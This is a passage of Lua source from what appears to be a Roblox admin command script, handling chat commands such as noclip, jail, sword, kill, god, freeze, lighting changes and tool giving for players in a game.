  1345. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1346. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  1347. p.Size = Vector3.new(.2,.2,.2)
  1348. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1349. local motor1 = Instance.new("Motor", p)
  1350. motor1.Part0 = p
  1351. motor1.Part1 = torso
  1352. motor1.MaxVelocity = .01
  1353. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1354. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1355. local wave = false
  1356. repeat wait(1/44)
  1357. local ang = 0.1
  1358. local oldmag = torso.Velocity.magnitude
  1359. local mv = .002
  1360. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1361. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1362. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1363. motor1.DesiredAngle = -ang
  1364. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1365. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1366. if torso.Velocity.magnitude < .1 then wait(.1) end
  1367. until not p or p.Parent ~= torso.Parent
  1368. script:Destroy()
  1369. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1370. end
  1371. end))
  1372. end
  1373. end
  1374.  
  1375. if msg:lower():sub(1,7) == "uncape " then
  1376. local plrz = GetPlr(plr, msg:lower():sub(8))
  1377. for i, v in pairs(plrz) do
  1378. coroutine.resume(coroutine.create(function()
  1379. if v and v:findFirstChild("PlayerGui") and v.Character then
  1380. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1381. end
  1382. end))
  1383. end
  1384. end
  1385.  
  1386. if msg:lower():sub(1,7) == "noclip " then
  1387. local plrz = GetPlr(plr, msg:lower():sub(8))
  1388. for i, v in pairs(plrz) do
  1389. coroutine.resume(coroutine.create(function()
  1390. if v and v:findFirstChild("PlayerGui") then
  1391. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  1392. cl.Parent = v.PlayerGui cl.Disabled = false
  1393. end
  1394. end))
  1395. end
  1396. end
  1397.  
  1398. if msg:lower():sub(1,5) == "clip " then
  1399. local plrz = GetPlr(plr, msg:lower():sub(6))
  1400. for i, v in pairs(plrz) do
  1401. coroutine.resume(coroutine.create(function()
  1402. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1403. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  1404. v.Character.Torso.Anchored = false
  1405. wait(.1) v.Character.Humanoid.PlatformStand = false
  1406. end
  1407. end))
  1408. end
  1409. end
  1410.  
  1411. if msg:lower():sub(1,5) == "jail " then
  1412. local plrz = GetPlr(plr, msg:lower():sub(6))
  1413. for i, v in pairs(plrz) do
  1414. coroutine.resume(coroutine.create(function()
  1415. if v and v.Character and v.Character:findFirstChild("Torso") then
  1416. local vname = v.Name
  1417. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  1418. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  1419. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  1420. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1421. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1422. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  1423. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1424. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  1425. end)
  1426. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  1427. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  1428. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  1429. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  1430. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  1431. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  1432. local msh2 = msh:Clone() msh2.Parent = back
  1433. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  1434. local msh4 = msh3:Clone() msh4.Parent = left
  1435. v.Character.Torso.CFrame = cf
  1436. end
  1437. end))
  1438. end
  1439. end
  1440.  
  1441. if msg:lower():sub(1,7) == "unjail " then
  1442. local plrz = GetPlr(plr, msg:lower():sub(8))
  1443. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  1444. end
  1445.  
  1446. if msg:lower():sub(1,11) == "starttools " then
  1447. local plrz = GetPlr(plr, msg:lower():sub(12))
  1448. for i, v in pairs(plrz) do
  1449. coroutine.resume(coroutine.create(function()
  1450. if v and v:findFirstChild("Backpack") then
  1451. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  1452. end
  1453. end))
  1454. end
  1455. end
  1456.  
  1457. if msg:lower():sub(1,6) == "sword " then
  1458. local plrz = GetPlr(plr, msg:lower():sub(7))
  1459. for i, v in pairs(plrz) do
  1460. coroutine.resume(coroutine.create(function()
  1461. if v and v:findFirstChild("Backpack") then
  1462. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  1463. sword.GripForward = Vector3.new(-1,0,0)
  1464. sword.GripPos = Vector3.new(0,0,-1.5)
  1465. sword.GripRight = Vector3.new(0,1,0)
  1466. sword.GripUp = Vector3.new(0,0,1)
  1467. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  1468. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  1469. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  1470. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1471. local Damage = 15
  1472. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  1473. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  1474. SlashSound.Volume = 1
  1475. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  1476. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  1477. LungeSound.Volume = 1
  1478. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  1479. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  1480. UnsheathSound.Volume = 1
  1481. local last = 0
  1482. script.Parent.Handle.Touched:connect(function(hit)
  1483. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  1484. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  1485. hit.Parent.Humanoid:TakeDamage(Damage)
  1486. end
  1487. end)
  1488. script.Parent.Activated:connect(function()
  1489. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  1490. script.Parent.Enabled = false
  1491. local tick = game:service("RunService").Stepped:wait()
  1492. if tick - last <= .2 then
  1493. LungeSound:play()
  1494. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  1495. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  1496. wait(.2)
  1497. script.Parent.GripForward = Vector3.new(0,0,1)
  1498. script.Parent.GripRight = Vector3.new(0,-1,0)
  1499. script.Parent.GripUp = Vector3.new(-1,0,0)
  1500. wait(.3)
  1501. frc:Destroy() wait(.5)
  1502. script.Parent.GripForward = Vector3.new(-1,0,0)
  1503. script.Parent.GripRight = Vector3.new(0,1,0)
  1504. script.Parent.GripUp = Vector3.new(0,0,1)
  1505. else
  1506. SlashSound:play()
  1507. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  1508. end
  1509. last = tick
  1510. script.Parent.Enabled = true
  1511. end)
  1512. script.Parent.Equipped:connect(function(mouse)
  1513. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  1514. UnsheathSound:play()
  1515. script.Parent.Enabled = true
  1516. if not mouse then return end
  1517. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  1518. end)]] cl.Disabled = false
  1519. end
  1520. end))
  1521. end
  1522. end
  1523.  
  1524. if msg:lower():sub(1,6) == "clone " then
  1525. local plrz = GetPlr(plr, msg:lower():sub(7))
  1526. for i, v in pairs(plrz) do
  1527. coroutine.resume(coroutine.create(function()
  1528. if v and v.Character then
  1529. v.Character.Archivable = true
  1530. local cl = v.Character:Clone()
  1531. table.insert(objects,cl)
  1532. cl.Parent = game.Workspace
  1533. cl:MoveTo(v.Character:GetModelCFrame().p)
  1534. cl:MakeJoints()
  1535. v.Character.Archivable = false
  1536. end
  1537. end))
  1538. end
  1539. end
  1540.  
  1541. if msg:lower():sub(1,8) == "control " then
  1542. local plrz = GetPlr(plr, msg:lower():sub(9))
  1543. for i, v in pairs(plrz) do
  1544. coroutine.resume(coroutine.create(function()
  1545. if v and v.Character then
  1546. v.Character.Humanoid.PlatformStand = true
  1547. local w = Instance.new("Weld", plr.Character.Torso )
  1548. w.Part0 = plr.Character.Torso
  1549. w.Part1 = v.Character.Torso
  1550. local w2 = Instance.new("Weld", plr.Character.Head)
  1551. w2.Part0 = plr.Character.Head
  1552. w2.Part1 = v.Character.Head
  1553. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  1554. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  1555. w3.Part1 = v.Character:findFirstChild("Right Arm")
  1556. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  1557. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  1558. w4.Part1 = v.Character:findFirstChild("Left Arm")
  1559. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  1560. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  1561. w5.Part1 = v.Character:findFirstChild("Right Leg")
  1562. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  1563. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  1564. w6.Part1 = v.Character:findFirstChild("Left Leg")
  1565. plr.Character.Head.face:Destroy()
  1566. for i, p in pairs(v.Character:children()) do
  1567. if p:IsA("BasePart") then
  1568. p.CanCollide = false
  1569. end
  1570. end
  1571. for i, p in pairs(plr.Character:children()) do
  1572. if p:IsA("BasePart") then
  1573. p.Transparency = 1
  1574. elseif p:IsA("Hat") then
  1575. p:Destroy()
  1576. end
  1577. end
  1578. v.Character.Parent = plr.Character
  1579. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  1580. end
  1581. end))
  1582. end
  1583. end
  1584.  
  1585. if msg:lower():sub(1,5) == "kill " then
  1586. local plrz = GetPlr(plr, msg:lower():sub(6))
  1587. for i, v in pairs(plrz) do
  1588. coroutine.resume(coroutine.create(function()
  1589. if v and v.Character then v.Character:BreakJoints() end
  1590. end))
  1591. end
  1592. end
  1593.  
  1594. if msg:lower():sub(1,8) == "respawn " then
  1595. local plrz = GetPlr(plr, msg:lower():sub(9))
  1596. for i, v in pairs(plrz) do
  1597. coroutine.resume(coroutine.create(function()
  1598. if v and v.Character then v:LoadCharacter() end
  1599. end))
  1600. end
  1601. end
  1602.  
  1603. if msg:lower():sub(1,5) == "trip " then
  1604. local plrz = GetPlr(plr, msg:lower():sub(6))
  1605. for i, v in pairs(plrz) do
  1606. coroutine.resume(coroutine.create(function()
  1607. if v and v.Character and v.Character:findFirstChild("Torso") then
  1608. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  1609. end
  1610. end))
  1611. end
  1612. end
  1613.  
  1614. if msg:lower():sub(1,5) == "stun " then
  1615. local plrz = GetPlr(plr, msg:lower():sub(6))
  1616. for i, v in pairs(plrz) do
  1617. coroutine.resume(coroutine.create(function()
  1618. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1619. v.Character.Humanoid.PlatformStand = true
  1620. end
  1621. end))
  1622. end
  1623. end
  1624.  
  1625. if msg:lower():sub(1,7) == "unstun " then
  1626. local plrz = GetPlr(plr, msg:lower():sub(8))
  1627. for i, v in pairs(plrz) do
  1628. coroutine.resume(coroutine.create(function()
  1629. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1630. v.Character.Humanoid.PlatformStand = false
  1631. end
  1632. end))
  1633. end
  1634. end
  1635.  
  1636. if msg:lower():sub(1,5) == "jump " then
  1637. local plrz = GetPlr(plr, msg:lower():sub(6))
  1638. for i, v in pairs(plrz) do
  1639. coroutine.resume(coroutine.create(function()
  1640. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1641. v.Character.Humanoid.Jump = true
  1642. end
  1643. end))
  1644. end
  1645. end
  1646.  
  1647. if msg:lower():sub(1,4) == "sit " then
  1648. local plrz = GetPlr(plr, msg:lower():sub(5))
  1649. for i, v in pairs(plrz) do
  1650. coroutine.resume(coroutine.create(function()
  1651. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1652. v.Character.Humanoid.Sit = true
  1653. end
  1654. end))
  1655. end
  1656. end
  1657.  
  1658. if msg:lower():sub(1,10) == "invisible " then
  1659. local plrz = GetPlr(plr, msg:lower():sub(11))
  1660. for i, v in pairs(plrz) do
  1661. coroutine.resume(coroutine.create(function()
  1662. if v and v.Character then
  1663. for a, obj in pairs(v.Character:children()) do
  1664. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  1665. end
  1666. end
  1667. end))
  1668. end
  1669. end
  1670.  
  1671. if msg:lower():sub(1,8) == "visible " then
  1672. local plrz = GetPlr(plr, msg:lower():sub(9))
  1673. for i, v in pairs(plrz) do
  1674. coroutine.resume(coroutine.create(function()
  1675. if v and v.Character then
  1676. for a, obj in pairs(v.Character:children()) do
  1677. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  1678. end
  1679. end
  1680. end))
  1681. end
  1682. end
  1683.  
  1684. if msg:lower():sub(1,5) == "lock " then
  1685. local plrz = GetPlr(plr, msg:lower():sub(6))
  1686. for i, v in pairs(plrz) do
  1687. coroutine.resume(coroutine.create(function()
  1688. if v and v.Character then
  1689. for a, obj in pairs(v.Character:children()) do
  1690. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  1691. end
  1692. end
  1693. end))
  1694. end
  1695. end
  1696.  
  1697. if msg:lower():sub(1,7) == "unlock " then
  1698. local plrz = GetPlr(plr, msg:lower():sub(8))
  1699. for i, v in pairs(plrz) do
  1700. coroutine.resume(coroutine.create(function()
  1701. if v and v.Character then
  1702. for a, obj in pairs(v.Character:children()) do
  1703. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  1704. end
  1705. end
  1706. end))
  1707. end
  1708. end
  1709.  
  1710. if msg:lower():sub(1,8) == "explode " then
  1711. local plrz = GetPlr(plr, msg:lower():sub(9))
  1712. for i, v in pairs(plrz) do
  1713. coroutine.resume(coroutine.create(function()
  1714. if v and v.Character and v.Character:findFirstChild("Torso") then
  1715. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  1716. end
  1717. end))
  1718. end
  1719. end
  1720.  
  1721. if msg:lower():sub(1,4) == "age " then
  1722. local plrz = GetPlr(plr, msg:lower():sub(5))
  1723. for i, v in pairs(plrz) do
  1724. coroutine.resume(coroutine.create(function()
  1725. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1726. end))
  1727. end
  1728. end
  1729.  
  1730. if msg:lower():sub(1,5) == "fire " then
  1731. local plrz = GetPlr(plr, msg:lower():sub(6))
  1732. for i, v in pairs(plrz) do
  1733. coroutine.resume(coroutine.create(function()
  1734. if v and v.Character and v.Character:findFirstChild("Torso") then
  1735. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1736. end
  1737. end))
  1738. end
  1739. end
  1740.  
  1741. if msg:lower():sub(1,7) == "unfire " then
  1742. local plrz = GetPlr(plr, msg:lower():sub(8))
  1743. for i, v in pairs(plrz) do
  1744. coroutine.resume(coroutine.create(function()
  1745. if v and v.Character and v.Character:findFirstChild("Torso") then
  1746. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1747. end
  1748. end))
  1749. end
  1750. end
  1751.  
  1752. if msg:lower():sub(1,6) == "smoke " then
  1753. local plrz = GetPlr(plr, msg:lower():sub(7))
  1754. for i, v in pairs(plrz) do
  1755. coroutine.resume(coroutine.create(function()
  1756. if v and v.Character and v.Character:findFirstChild("Torso") then
  1757. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1758. end
  1759. end))
  1760. end
  1761. end
  1762.  
  1763. if msg:lower():sub(1,8) == "unsmoke " then
  1764. local plrz = GetPlr(plr, msg:lower():sub(9))
  1765. for i, v in pairs(plrz) do
  1766. coroutine.resume(coroutine.create(function()
  1767. if v and v.Character and v.Character:findFirstChild("Torso") then
  1768. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  1769. end
  1770. end))
  1771. end
  1772. end
  1773.  
  1774. if msg:lower():sub(1,9) == "sparkles " then
  1775. local plrz = GetPlr(plr, msg:lower():sub(10))
  1776. for i, v in pairs(plrz) do
  1777. coroutine.resume(coroutine.create(function()
  1778. if v and v.Character and v.Character:findFirstChild("Torso") then
  1779. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  1780. end
  1781. end))
  1782. end
  1783. end
  1784.  
  1785. if msg:lower():sub(1,11) == "unsparkles " then
  1786. local plrz = GetPlr(plr, msg:lower():sub(12))
  1787. for i, v in pairs(plrz) do
  1788. coroutine.resume(coroutine.create(function()
  1789. if v and v.Character and v.Character:findFirstChild("Torso") then
  1790. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  1791. end
  1792. end))
  1793. end
  1794. end
  1795.  
  1796. if msg:lower():sub(1,3) == "ff " then
  1797. local plrz = GetPlr(plr, msg:lower():sub(4))
  1798. for i, v in pairs(plrz) do
  1799. coroutine.resume(coroutine.create(function()
  1800. if v and v.Character then Instance.new("ForceField", v.Character) end
  1801. end))
  1802. end
  1803. end
  1804.  
  1805. if msg:lower():sub(1,5) == "unff " then
  1806. local plrz = GetPlr(plr, msg:lower():sub(6))
  1807. for i, v in pairs(plrz) do
  1808. coroutine.resume(coroutine.create(function()
  1809. if v and v.Character then
  1810. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1811. end
  1812. end))
  1813. end
  1814. end
  1815.  
  1816. if msg:lower():sub(1,7) == "punish " then
  1817. local plrz = GetPlr(plr, msg:lower():sub(8))
  1818. for i, v in pairs(plrz) do
  1819. coroutine.resume(coroutine.create(function()
  1820. if v and v.Character then
  1821. v.Character.Parent = game:service("Lighting")
  1822. end
  1823. end))
  1824. end
  1825. end
  1826.  
  1827. if msg:lower():sub(1,9) == "unpunish " then
  1828. local plrz = GetPlr(plr, msg:lower():sub(10))
  1829. for i, v in pairs(plrz) do
  1830. coroutine.resume(coroutine.create(function()
  1831. if v and v.Character then
  1832. v.Character.Parent = game:service("Workspace")
  1833. v.Character:MakeJoints()
  1834. end
  1835. end))
  1836. end
  1837. end
  1838.  
  1839. if msg:lower():sub(1,7) == "freeze " then
  1840. local plrz = GetPlr(plr, msg:lower():sub(8))
  1841. for i, v in pairs(plrz) do
  1842. coroutine.resume(coroutine.create(function()
  1843. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1844. for a, obj in pairs(v.Character:children()) do
  1845. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1846. end
  1847. end
  1848. end))
  1849. end
  1850. end
  1851.  
  1852. if msg:lower():sub(1,5) == "thaw " then
  1853. local plrz = GetPlr(plr, msg:lower():sub(6))
  1854. for i, v in pairs(plrz) do
  1855. coroutine.resume(coroutine.create(function()
  1856. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1857. for a, obj in pairs(v.Character:children()) do
  1858. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1859. end
  1860. end
  1861. end))
  1862. end
  1863. end
  1864.  
  1865. if msg:lower():sub(1,5) == "heal " then
  1866. local plrz = GetPlr(plr, msg:lower():sub(6))
  1867. for i, v in pairs(plrz) do
  1868. coroutine.resume(coroutine.create(function()
  1869. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1870. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1871. end
  1872. end))
  1873. end
  1874. end
  1875.  
  1876. if msg:lower():sub(1,4) == "god " then
  1877. local plrz = GetPlr(plr, msg:lower():sub(5))
  1878. for i, v in pairs(plrz) do
  1879. coroutine.resume(coroutine.create(function()
  1880. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1881. v.Character.Humanoid.MaxHealth = math.huge
  1882. v.Character.Humanoid.Health = 9e9
  1883. end
  1884. end))
  1885. end
  1886. end
  1887.  
  1888. if msg:lower():sub(1,6) == "ungod " then
  1889. local plrz = GetPlr(plr, msg:lower():sub(7))
  1890. for i, v in pairs(plrz) do
  1891. coroutine.resume(coroutine.create(function()
  1892. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1893. v.Character.Humanoid.MaxHealth = 100
  1894. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1895. end
  1896. end))
  1897. end
  1898. end
  1899.  
  1900. if msg:lower():sub(1,8) == "ambient " then
  1901. local chk1 = msg:lower():sub(9):find(" ") + 8
  1902. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1903. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1904. end
  1905.  
  1906. if msg:lower():sub(1,11) == "brightness " then
  1907. game.Lighting.Brightness = msg:sub(12)
  1908. end
  1909.  
  1910. if msg:lower():sub(1,5) == "time " then
  1911. game.Lighting.TimeOfDay = msg:sub(6)
  1912. end
  1913.  
  1914. if msg:lower():sub(1,9) == "fogcolor " then
  1915. local chk1 = msg:lower():sub(10):find(" ") + 9
  1916. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1917. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1918. end
  1919.  
  1920. if msg:lower():sub(1,7) == "fogend " then
  1921. game.Lighting.FogEnd = msg:sub(8)
  1922. end
  1923.  
  1924. if msg:lower():sub(1,9) == "fogstart " then
  1925. game.Lighting.FogStart = msg:sub(10)
  1926. end
  1927.  
  1928. if msg:lower():sub(1,7) == "btools " then
  1929. local plrz = GetPlr(plr, msg:lower():sub(8))
  1930. for i, v in pairs(plrz) do
  1931. coroutine.resume(coroutine.create(function()
  1932. if v and v:findFirstChild("Backpack") then
  1933. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1934. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1935. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1936. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1937. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1938. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1939. local sb
  1940. local hs
  1941. local pdist
  1942.  
  1943. script.Parent.Selected:connect(function(mouse)
  1944. if not mouse then return end
  1945. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1946. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1947. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1948. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1949. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1950. end)
  1951.  
  1952. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1953. end
  1954. end))
  1955. end
  1956. end
  1957.  
  1958. if msg:lower():sub(1,12) == "startergive " then
  1959. local chk1 = msg:lower():sub(13):find(" ") + 12
  1960. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  1961. for i, v in pairs(plrz) do
  1962. coroutine.resume(coroutine.create(function()
  1963. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  1964. for a, tool in pairs(game.Lighting:children()) do
  1965. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1966. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  1967. end
  1968. end
  1969. end
  1970. end))
  1971. end
  1972. end
  1973.  
  1974. if msg:lower():sub(1,5) == "give " then
  1975. local chk1 = msg:lower():sub(6):find(" ") + 5
  1976. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1977. for i, v in pairs(plrz) do
  1978. coroutine.resume(coroutine.create(function()
  1979. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1980. for a, tool in pairs(game.Lighting:children()) do
  1981. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1982. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1983. end
  1984. end
  1985. end
